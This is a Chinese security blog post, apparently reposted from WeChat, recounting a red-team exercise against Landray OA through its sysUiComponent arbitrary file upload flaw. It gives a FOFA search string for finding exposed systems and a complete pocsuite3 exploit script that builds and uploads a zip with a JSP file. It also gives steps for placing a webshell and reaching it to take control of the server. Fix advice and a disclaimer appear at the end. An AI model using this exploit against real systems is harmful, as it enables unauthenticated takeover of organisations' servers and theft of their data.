点击蓝字 关注我们
日期:2024-02-20 作者:hdsec 介绍:记一次在攻防演练中遇到的OA坑(Landray OA sysUiComponent 任意文件上传漏洞)。
0x00 前言
在某次演练中偶然遇到某系统采用了Landray OA
,并且经过尝试发现该版本的Landray OA
存在sysUiComponent
任意文件上传漏洞,本以为可以轻松拿下,但还是遇到了几个小问题,仅此记录一下。
Landray OA sysUiComponent
接口处存在任意文件上传漏洞,未经过身份认证的攻击者可通过构造压缩文件上传恶意后门文件,执行任意代码,控制服务器,威胁企业数据安全。
0x01 关于 Landray OA
蓝凌OA
是一款企业级办公自动化软件,帮助企业实现办公流程自动化、信息化管理和团队协作。它拥有丰富的功能模块,包括文档管理、流程管理、日程管理、邮件管理、任务管理、知识管理、报表统计等,可以满足企业不同层级、不同部门的需求。
蓝凌OA
支持多种接入方式,包括Web
、APP
、微信、钉钉等,方便用户随时随地进行办公操作。同时,蓝凌OA
还提供了强大的权限管理机制和安全保障措施,确保企业数据的安全可靠性。
除此之外,蓝凌OA
还可以与其他企业应用进行集成,比如ERP
、CRM
、HRM
等,为企业提供更加全面、精细化的管理服务。
蓝凌是国内数字化办公专家,阿里钉钉唯一投资的OA
厂商,阿里云知识管理与协同领域首家战略合作伙伴。蓝凌OA
系统是一个全方位满足成长型企业和组织日常办公需求的管理平台,具有极强的扩展性,依托蓝凌19年大客户经验,丰富的集成组件,应用灵活拓展。系统可以极佳的性价比和超低的价格实现功能服务全场景覆盖,围绕着团队成员,全面解决日常办公需求。在移动设备上,员工可以随时随地利用碎片化时间进行协作和管理,构建高效率协作团队。此外,蓝凌OA
系统还打通了钉钉考勤系统和智能OA
审批流程,实现了在移动设备上随时随地进行碎片化时间的组织和24小时运行。系统的工作留痕功能可以积累每天每人每事的过程,并自动汇报、沉淀和形成内部长期可用的经验分享,可建立从目标计划、到执行反馈、定期检查、以及完成总结分享的闭环工作机制。
0x02 漏洞利用
2.1 漏洞检测
fofa
搜索语句:
app="Landray-OA系统"
在目标网站上拼接如下路径,如果出现下图情况则可初步判断存在漏洞。
/sys/ui/sys_ui_component/sysUiComponent.do?method=upload
👇 也可以从github
上下载poc
进行漏洞检测。
https://github.com/Vme18000yuan/FreePOC/tree/master/poc/pocsuite
import zipfile
from pocsuite3.api import requests, POCBase, Output, register_poc, logger, OptString, VUL_TYPE, POC_CATEGORY
# from pocsuite3.lib.utils import random_str
class TestPOC(POCBase):
vulID = '0'
version = '1.0'
author = 'Douglas'
vulDate = '2023-11-12'
createDate = '2023-11-12'
updateDate = '2023-11-12'
references = ['https://mp.weixin.qq.com/s/HsjgUY183BGB5qMnD1ArOw']
name = '蓝凌OA sysUiComponent 任意文件上传'
appName = '蓝凌OA'
appPowerLink = 'https://www.landray.com.cn'
appVersion = ''
vulType = VUL_TYPE.UPLOAD_FILES
category = POC_CATEGORY.EXPLOITS.WEBAPP
desc = '''
蓝凌OA sysUiComponent 前台任意文件上传
'''
# dork = {'hunter': ''}
# dork = {'fofa': 'app="Landray-OA系统"'}
pocDesc = '''poc usage'''
samples = ['']
install_requires = ['']
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
def createfiles(self):
'''
创建一个test.jsp和component.ini文件,其中component.ini里面的id是保存到网站的文件夹,name是保存到网站的文件名
将这个文件压缩成一个zip文件
'''
text = "<% out.println(255*255);%>"
with open("test.jsp", "w") as f:
f.writelines(text)
f.close()
with open("component.ini", 'w+') as f:
f.write("id=2023" + "n")
f.write("name=test.jsp" + "n")
f.close()
with zipfile.ZipFile("test.zip", 'w', zipfile.ZIP_DEFLATED) as f:
f.write("component.ini", "component.ini")
f.write("test.jsp", "test.jsp")
f.close()
def _verify(self):
'''verify mode'''
result = {}
payload = "/sys/ui/sys_ui_component/sysUiComponent.do?method=upload"
target = self.url + payload
try:
r = requests.get(url=target, timeout=15, verify=False, allow_redirects=False)
# print(r.status_code)
# print(r.text)
if r.status_code == 200:
# print(r.text)
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = target
result['VerifyInfo']['Payload'] = payload
except Exception as ex:
logger.error(str(ex))
return self.parse_output(result)
def _attack(self):
''' attack mode '''
result = {}
# 创建压缩文件
self.createfiles()
host = self.rhost
port = self.rport
rhost = host + ":" + str(port)
headers = {
"Host": rhost,
"Accept-Encoding": "gzip, deflate",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0",
"Accept-Language": "en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
"Accept": "*/*",
"Referer": self.url + "/sys/ui/sys_ui_component/sysUiComponent.do?method=upload",
"Origin": self.url,
"Connection": "close",
}
payload = "/sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo"
target = self.url + payload
files = {
"file": ("test.zip", open('test.zip', 'rb'), "application/zip")
}
try:
r = requests.post(url=target, timeout=15, verify=False, allow_redirects=False, headers=headers, files=files)
# print(r.status_code)
# print(r.text)
if r.status_code == 200 and "directoryPath" in r.text:
# print(r.text)
shellpath = self.url + "/resource/ui-component/2023/test.jsp"
print(shellpath)
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = target
result['VerifyInfo']['Payload'] = payload
except Exception as ex:
logger.error(str(ex))
return self.parse_output(result)
register_poc(TestPOC)
2.2 制作恶意zip文件
编写两个文件b.jsp
和component.ini
,其中b.jsp
是构造的恶意木马文件。
component.ini
文件内容如下所示,其中id
值为上传后路径,name
值为上传后文件名。
坑点一
不需要新建文件夹再进行压缩,直接右键压缩两项,生成zip
压缩文件。
坑点二
因目标系统环境问题,上传无害文件可以成功访问到,但是上传普通🐴一落地就会被删除,需要构造特殊木马进行绕过,这里经过多次尝试免杀马、大马小马等等均已失败告终。
最终在某位大佬的指导下,成功上传某木马文件获取shell
,目前该木马不方便公开。如果大家也遇到像我一样的情况,大概率是因为🐴的问题。
将生成的zip
文件进行上传,如果返回下图中的{"directoryPath":"202311","status":"1"}
,则说明上传成功。
上传成功后,构造路径resource/ui-component/id值/name值
进行访问。
成功获取目标服务器权限,后续就是进行常见的内网渗透了,由于本篇的重点不在内网渗透,不再进行赘述。
http://x.x.x.x/oa/resource/ui-component/202311/b.jsp
0x03 修复建议
1
做好权限控制,限制未授权用户直接访问系统上传功能。
2
升级到安全版本或者打补丁。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
点此亲启
原文始发于微信公众号(宸极实验室):『红蓝对抗』记一次在攻防演练中遇到的 Landray OA
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论